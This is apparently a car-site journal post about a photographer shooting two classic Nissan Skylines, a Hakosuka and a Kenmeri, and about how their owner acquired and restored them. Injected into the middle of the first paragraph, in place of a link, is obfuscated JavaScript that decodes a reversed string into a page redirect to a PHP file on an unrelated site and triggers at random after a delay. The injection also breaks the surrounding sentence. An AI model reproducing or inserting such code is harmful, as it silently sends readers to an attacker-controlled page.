Hakosuka & Kenmeri Nissan Skylines. Mohammed Al-Yassi. Journals

On location with freelance automotive photographer Mohammed Al-Yassi as he shoots a pair of old school Nissan Skylines.

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Owner: Sultan Al-Mansoori
Cars: 1971 Nissan Skyline KGC10 GTX & 1977 Nissan Skyline KGC110 GTX
Owner Location: Ras Al Khaimah, UAE

Some days you wake up and just don’t feel so good, but I wasn’t going to miss this for anything! Shooting a duo of Hakosuka and Kenmeri Skylines would be my cure and I jumped in the car and drove to Ras Al Khaimah to meet the owner, Sultan Almansoori, and his younger brother Saeed Almansoori. Sultan is a big fan of classic Datsun and Nissan cars and has restored, modified and repaired quite a few Datsun Zs during the last 15 years. He also helped his other brother, Khalfan Almansoori, modify a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/journals/1993-nissan-skyline-gtr-r32-godzilla-love/” target=”_blank”>Nissan Skyline GTR R32 which I shot recently.

As I got to work, Sultan told me the story of how he bought both of his Skylines. A Friend of his (Ibrahim Alshamsi) advised him once to own a classic Skyline. At that time, he was looking for a C210, however, he was not satisfied fully with the C210. During his search, Ibrahim introduced him to a Kenmeri that he owned and showed him the beauty of it. Sultan felt this is the car which he was looking for and was determined to get one.

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Sultan has owned this car for two years now and the resto-mod is still ongoing to bring it back to life. When he bought it, it was not running at all as it had been sitting in Japan for a long period. The fuel and air intake systems had to be replaced and, after doing the normal checks and maintenance, the car now runs and drives as it should.

Sultan started to upgrade, modify and replace parts on this Kenmeri. So far, he has done some touch-up paint and replaced damaged and missing interior parts. The restoration will continue as long as this car is with him as he believes this Kenmeri deserves to be taken care of and given attention. The plan in the future is to repaint it completely with full restoration.

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A year later, Sultan visited Tokyo to attend the Tokyo Auto Saloon (2013) with his friend Mr. Ibrahim. Mr. Ibrahim showed Sultan a Hakosuka that he had bought that was about to be shipped to the UAE. Right away, Sultan told his friend “I’m willing to buy it as long as you are thinking to sell it” and a few months later, Ibrahim gave Sultan a call and had a deal to hand it over to him. The fuel system needed replacing along with some routine maintenance and checks but the car is now fully driveable.

It’s rare to find these models of Skylines in the United Arab Emirates and having the opportunity to photograph them was an absolute pleasure I will never forget.

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You can check out more of Mohammed Al-Yassi’s photography on Mhyaay

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